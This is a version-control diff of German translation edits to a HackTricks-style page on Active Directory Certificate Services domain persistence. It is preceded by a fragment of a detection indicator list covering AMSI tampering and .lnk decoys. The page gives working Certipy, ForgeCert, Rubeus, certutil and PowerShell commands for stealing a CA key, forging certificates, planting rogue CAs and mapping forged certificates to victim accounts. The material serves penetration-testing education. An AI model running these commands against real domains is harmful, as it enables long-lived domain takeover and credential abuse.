- .lnk, das übergeordnete/Benutzerordner auflistet, um das ZIP zu finden und ein Decoy-Dokument öffnet.
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Long-running business threads ending with links hosted under trusted PaaS domains.
- ZIP-Dateien, bei denen der ASCII-Marker-String (z. B. xFIQCV) an die Archivdaten angehängt ist.
- .lnk, das übergeordnete/Benutzerordner auflistet, um das ZIP zu finden, und ein decoy document öffnet.
- AMSI-Manipulation via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Lang laufende Business-Threads, die mit Links enden, die unter vertrauenswürdigen PaaS-Domains gehostet sind.
## Windows-Dateien zum Stehlen von NTLM-Hashes
Siehe die Seite zu **places to steal NTLM creds**:
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## Referenzen

View File

@ -1,27 +1,27 @@
# AD CS Domain-Persistenz
# AD CS Domänenpersistenz
{{#include ../../../banners/hacktricks-training.md}}
**Dies ist eine Zusammenfassung der Domain-Persistenz-Techniken, die in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) vorgestellt werden**. Prüfen Sie die Quelle für weitere Details.
**Dies ist eine Zusammenfassung der Domänenpersistenz-Techniken, die in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) geteilt werden. Weitere Details findest du dort.**
## Fälschen von Zertifikaten mit gestohlenen CA-Zertifikaten - DPERSIST1
Woran erkennt man, dass ein Zertifikat ein CA-Zertifikat ist?
Man kann feststellen, dass ein Zertifikat ein CA-Zertifikat ist, wenn mehrere Bedingungen erfüllt sind:
Ein Zertifikat kann als CA-Zertifikat identifiziert werden, wenn mehrere Bedingungen erfüllt sind:
- Das Zertifikat wird auf dem CA-Server gespeichert, wobei der private Schlüssel durch die DPAPI der Maschine oder durch Hardware wie TPM/HSM geschützt ist, sofern das Betriebssystem dies unterstützt.
- Sowohl die Issuer- als auch die Subject-Felder des Zertifikats stimmen mit dem Distinguished Name der CA überein.
- Das Zertifikat ist auf dem CA-Server gespeichert, wobei sein privater Schlüssel durch die DPAPI der Maschine gesichert ist oder durch Hardware wie einen TPM/HSM, falls das Betriebssystem dies unterstützt.
- Sowohl die Issuer- als auch die Subject-Felder des Zertifikats stimmen mit dem distinguished name der CA überein.
- Eine "CA Version"-Erweiterung ist ausschließlich in CA-Zertifikaten vorhanden.
- Das Zertifikat enthält keine Extended Key Usage (EKU)-Felder.
Um den privaten Schlüssel dieses Zertifikats zu extrahieren, ist auf dem CA-Server das Tool `certsrv.msc` über die eingebaute GUI die unterstützte Methode. Nichtsdestotrotz unterscheidet sich dieses Zertifikat nicht von anderen, die im System gespeichert sind; daher können Methoden wie die [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) zur Extraktion angewendet werden.
Um den privaten Schlüssel dieses Zertifikats zu extrahieren, ist das Tool `certsrv.msc` auf dem CA-Server über die eingebaute GUI der unterstützte Weg. Nichtsdestotrotz unterscheidet sich dieses Zertifikat nicht von anderen im System gespeicherten; daher können Methoden wie die [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) für die Extraktion angewendet werden.
Das Zertifikat und der private Schlüssel können auch mit Certipy mittels folgendem Befehl erhalten werden:
Das Zertifikat und der private Schlüssel können auch mit Certipy mit folgendem Befehl erhalten werden:
```bash
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
```
Nachdem das CA-Zertifikat und sein privater Schlüssel im `.pfx`-Format erlangt wurden, können Werkzeuge wie [ForgeCert](https://github.com/GhostPack/ForgeCert) verwendet werden, um gültige Zertifikate zu erstellen:
Sobald das CA-Zertifikat und der zugehörige private Schlüssel im `.pfx`-Format erlangt wurden, können Werkzeuge wie [ForgeCert](https://github.com/GhostPack/ForgeCert) verwendet werden, um gültige Zertifikate zu erstellen:
```bash
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
@ -36,19 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
```
> [!WARNING]
> Der Benutzer, der für die Zertifikatsfälschung ausgewählt wird, muss in Active Directory aktiv sein und sich authentifizieren können, damit der Vorgang erfolgreich ist. Ein Zertifikat für spezielle Konten wie krbtgt zu fälschen ist wirkungslos.
> Der für die Zertifikatfälschung anvisierte Benutzer muss in Active Directory aktiv sein und sich authentifizieren können, damit der Prozess erfolgreich ist. Ein Zertifikat für spezielle Konten wie krbtgt zu fälschen ist wirkungslos.
Dieses gefälschte Zertifikat wird bis zum angegebenen Enddatum **gültig** sein und solange das root CA Zertifikat **gültig** ist (in der Regel von 5 bis **10+ Jahren**). Es ist außerdem für **Computer** gültig, sodass ein Angreifer in Kombination mit **S4U2Self** Persistenz auf **jedem Domain-Computer** aufrechterhalten kann, solange das CA Zertifikat gültig ist.\
Darüber hinaus können die mit dieser Methode erzeugten **Zertifikate nicht widerrufen werden**, da die CA nichts von ihnen weiß.
Dieses gefälschte Zertifikat wird bis zum angegebenen Enddatum und **so lange das Root CA-Zertifikat gültig ist** (in der Regel von 5 bis **10+ Jahren**) **gültig** sein. Es ist auch für **Maschinen** gültig, sodass in Kombination mit **S4U2Self** ein Angreifer **Persistenz auf jedem Domain-Computer** so lange aufrechterhalten kann, wie das CA-Zertifikat gültig ist.\
Außerdem **können die mit dieser Methode erzeugten Zertifikate nicht widerrufen werden**, da die CA nichts von ihnen weiß.
### Betrieb unter Strong Certificate Mapping Enforcement (2025+)
Seit dem 11. Februar 2025 (nach dem Rollout von KB5014754) verwenden Domain-Controller standardmäßig **Full Enforcement** für Zertifikatszuordnungen. Praktisch bedeutet das, dass gefälschte Zertifikate entweder:
Seit dem 11. Februar 2025 (nach Rollout von KB5014754) sind Domain-Controller standardmäßig auf **Full Enforcement** für Zertifikatszuordnungen eingestellt. Praktisch bedeutet das, dass Ihre gefälschten Zertifikate entweder:
- Eine starke Bindung an das Zielkonto enthalten (zum Beispiel die SID security extension), oder
- Mit einer starken, expliziten Zuordnung im `altSecurityIdentities`-Attribut des Zielobjekts gepaart sein müssen.
- Eine starke Bindung an das Zielkonto enthalten (z. B. die SID-Sicherheits-Extension), oder
- Mit einer starken, expliziten Zuordnung im Zielobjekts-Attribut `altSecurityIdentities` gekoppelt sein müssen.
Eine verlässliche Methode zur Persistenz besteht darin, ein gefälschtes Zertifikat auszustellen, das an die gestohlene Enterprise CA gebunden ist, und dann eine starke explizite Zuordnung zum Opfer-Principal hinzuzufügen:
Ein zuverlässiger Ansatz zur Persistenz besteht darin, ein gefälschtes Zertifikat auszustellen, das an die gestohlene Enterprise CA angekettet ist, und dann eine starke, explizite Zuordnung zum Zielprinzipal hinzuzufügen:
```powershell
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
@ -57,16 +57,17 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
```
Hinweise
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See [account-persistence](account-persistence.md) for more on explicit mappings.
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See
[account-persistence](account-persistence.md) for more on explicit mappings.
- Revocation does not help defenders here: forged certificates are unknown to the CA database and thus cannot be revoked.
## Vertrauen bösartiger CA-Zertifikate - DPERSIST2
## Trusting Rogue CA Certificates - DPERSIST2
Das `NTAuthCertificates`-Objekt ist dafür vorgesehen, ein oder mehrere **CA certificates** in seinem `cacertificate`-Attribut zu enthalten, die von Active Directory (AD) verwendet werden. Der Verifizierungsprozess durch den Domänencontroller prüft das `NTAuthCertificates`-Objekt auf einen Eintrag, der mit der in dem Issuer-Feld des authentifizierenden **certificate** angegebenen CA übereinstimmt. Die Authentifizierung wird fortgesetzt, wenn eine Übereinstimmung gefunden wird.
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
Ein selbstsigniertes CA-Zertifikat kann von einem Angreifer dem `NTAuthCertificates`-Objekt hinzugefügt werden, vorausgesetzt, er hat Kontrolle über dieses AD-Objekt. Normalerweise dürfen nur Mitglieder der Gruppen **Enterprise Admin**, sowie **Domain Admins** oder **Administrators** in der **forest roots domain** dieses Objekt ändern. Sie können das `NTAuthCertificates`-Objekt mit `certutil.exe` bearbeiten, z. B. mit dem Befehl `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, oder indem sie das [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool) verwenden.
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest roots domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
Weitere hilfreiche Befehle für diese Technik:
Additional helpful commands for this technique:
```bash
# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
@ -77,34 +78,32 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
```
Diese Fähigkeit ist besonders relevant in Kombination mit der zuvor beschriebenen Methode zur dynamischen Generierung von Zertifikaten mittels ForgeCert.
Diese Fähigkeit ist besonders relevant, wenn sie in Kombination mit der zuvor beschriebenen Methode unter Verwendung von ForgeCert zum dynamischen Erzeugen von Zertifikaten eingesetzt wird.
> Post-2025 Mapping-Überlegungen: Das Platzieren einer Rogue-CA in NTAuth stellt nur Vertrauen in die ausstellende CA her. Um Leaf-Zertifikate für die Anmeldung zu verwenden, wenn DCs in **Full Enforcement** sind, muss das Leaf entweder die SID-Sicherheits-Extension enthalten oder es muss eine starke explizite Zuordnung auf dem Zielobjekt vorhanden sein (zum Beispiel Issuer+Serial in `altSecurityIdentities`). Siehe {{#ref}}account-persistence.md{{#endref}}.
> Hinweise zur Zuordnung nach 2025: Das Platzieren einer bösartigen CA in NTAuth bewirkt nur, dass der ausstellenden CA vertraut wird. Um Leaf-Zertifikate für die Anmeldung zu verwenden, wenn DCs in **Full Enforcement** sind, muss das Leaf entweder die SID-Sicherheits-Extension enthalten oder es muss eine starke explizite Zuordnung auf dem Zielobjekt vorhanden sein (zum Beispiel Issuer+Serial in `altSecurityIdentities`). Siehe {{#ref}}account-persistence.md{{#endref}}.
## Malicious Misconfiguration - DPERSIST3
## Bösartige Fehlkonfiguration - DPERSIST3
Möglichkeiten für **Persistence** durch **Security-Descriptor-Modifikationen an AD CS**-Komponenten sind zahlreich. Änderungen, die im Abschnitt "[Domain Escalation](domain-escalation.md)" beschrieben sind, können von einem Angreifer mit erhöhtem Zugriff böswillig umgesetzt werden. Dazu gehört das Hinzufügen von "control rights" (z. B. WriteOwner/WriteDACL/etc.) zu sensiblen Komponenten wie:
Möglichkeiten für **Persistenz** durch **Änderungen an Sicherheitsdeskriptoren von AD CS**-Komponenten sind zahlreich. Änderungen, die im Abschnitt "[Domain Escalation](domain-escalation.md)" beschrieben sind, können von einem Angreifer mit erhöhten Rechten böswillig umgesetzt werden. Dazu gehört das Hinzufügen von "control rights" (z. B. WriteOwner/WriteDACL/etc.) zu sensiblen Komponenten wie:
- Dem **AD-Computerobjekt** des CA-Servers
- Dem **RPC/DCOM-Server** des CA-Servers
- Jedem **nachgeordneten AD-Objekt oder Container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (zum Beispiel der Certificate Templates-Container, der Certification Authorities-Container, das NTAuthCertificates-Objekt, etc.)
- **AD-Gruppen, denen standardmäßig oder organisatorisch Rechte zur Steuerung von AD CS delegiert wurden** (z. B. die eingebaute Cert Publishers-Gruppe und deren Mitglieder)
- Das **AD-Computerobjekt** des **CA-Servers**
- Der **RPC/DCOM-Server** des **CA-Servers**
- Jedes **nachgeordnete AD-Objekt oder Container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (z. B. der Certificate Templates-Container, der Certification Authorities-Container, das NTAuthCertificates-Objekt etc.)
- **AD-Gruppen, denen standardmäßig oder organisationsseitig Rechte zur Kontrolle von AD CS delegiert wurden** (wie die integrierte Cert Publishers-Gruppe und deren Mitglieder)
Ein Beispiel für eine böswillige Umsetzung wäre, dass ein Angreifer mit **erhöhten Rechten** in der Domäne die Berechtigung **`WriteOwner`** zur Standard-`User`-Zertifikatvorlage hinzufügt, wobei der Angreifer selbst der Principal für das Recht ist. Um dies auszunutzen, würde der Angreifer zunächst den Besitzer der `User`-Vorlage auf sich selbst ändern. Anschließend würde das **`mspki-certificate-name-flag`** auf **1** gesetzt, um **`ENROLLEE_SUPPLIES_SUBJECT`** zu aktivieren, wodurch ein Benutzer im Request einen Subject Alternative Name angeben kann. Danach könnte der Angreifer sich mit der **Vorlage registrieren**, einen Namen eines **Domänenadministrators** als alternativen Namen wählen und das erworbene Zertifikat zur Authentifizierung als Domänenadministrator (DA) verwenden.
Ein Beispiel für eine bösartige Umsetzung wäre, dass ein Angreifer mit **erhöhten Berechtigungen** in der Domäne die Berechtigung **`WriteOwner`** zur Standard-**`User`**-Zertifikatvorlage hinzufügt, wobei der Angreifer der Principal für dieses Recht ist. Um dies auszunutzen, würde der Angreifer zunächst den Besitzer der **`User`**-Vorlage auf sich selbst ändern. Anschließend würde das **`mspki-certificate-name-flag`** in der Vorlage auf **1** gesetzt, um **`ENROLLEE_SUPPLIES_SUBJECT`** zu aktivieren, was einem Benutzer erlaubt, einen Subject Alternative Name in der Anfrage anzugeben. Danach könnte der Angreifer sich mit der **Vorlage** registrieren, einen **Domain-Administrator**-Namen als alternativen Namen wählen und das erworbene Zertifikat zur Authentifizierung als DA verwenden.
Praktische Stellschrauben, die Angreifer für langfristige Domänenpersistenz setzen können (siehe {{#ref}}domain-escalation.md{{#endref}} für vollständige Details und Detektion):
Praktische Stellschrauben, die Angreifer für langfristige Domänenpersistenz setzen könnten (siehe {{#ref}}domain-escalation.md{{#endref}} für vollständige Details und Erkennung):
- CA-Policy-Flags, die SAN von Requestern erlauben (z. B. Aktivierung von `EDITF_ATTRIBUTESUBJECTALTNAME2`). Dadurch bleiben ESC1-ähnliche Pfade ausnutzbar.
- Template-DACLs oder Einstellungen, die ausstellungsfähige Authentifizierung erlauben (z. B. Hinzufügen der Client Authentication EKU, Aktivierung von `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
- Kontrolle über das `NTAuthCertificates`-Objekt oder die CA-Container, um Rogue-Issuer kontinuierlich wieder einzuführen, falls Verteidiger versuchen, aufzuräumen.
- CA-Policy-Flags, die SANs von Antragstellern erlauben (z. B. Aktivierung von `EDITF_ATTRIBUTESUBJECTALTNAME2`). Dadurch bleiben ESC1-ähnliche Pfade ausnutzbar.
- Template-DACL oder Einstellungen, die die Ausstellung von für Authentifizierung tauglichen Zertifikaten erlauben (z. B. Hinzufügen von Client Authentication EKU, Aktivieren von `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
- Kontrolle über das `NTAuthCertificates`-Objekt oder die CA-Container, um bösartige Aussteller kontinuierlich wieder einzuführen, falls Verteidiger Bereinigungsversuche starten.
> [!TIP]
> In gehärteten Umgebungen nach KB5014754 stellt die Kombination dieser Fehlkonfigurationen mit expliziten starken Zuordnungen (`altSecurityIdentities`) sicher, dass ausgestellte oder gefälschte Zertifikate auch dann nutzbar bleiben, wenn DCs starke Zuordnungen durchsetzen.
> In gehärteten Umgebungen nach KB5014754 stellt die Kombination dieser Fehlkonfigurationen mit expliziten starken Zuordnungen (`altSecurityIdentities`) sicher, dass Ihre ausgestellten oder gefälschten Zertifikate weiterhin nutzbar sind, selbst wenn DCs starke Zuordnungen erzwingen.
## Referenzen
## References
- Microsoft KB5014754 Änderungen der zertifikatbasierten Authentifizierung auf Windows Domain Controllern (Durchsetzungszeitplan und starke Zuordnungen). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Command Reference und Nutzung von forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
- Microsoft KB5014754 Änderungen bei zertifikatbasierter Authentifizierung auf Windows-Domain-Controllern (Einsatzzeitplan und starke Zuordnungen). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Befehlsreferenz und Verwendung von forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
{{#include ../../../banners/hacktricks-training.md}}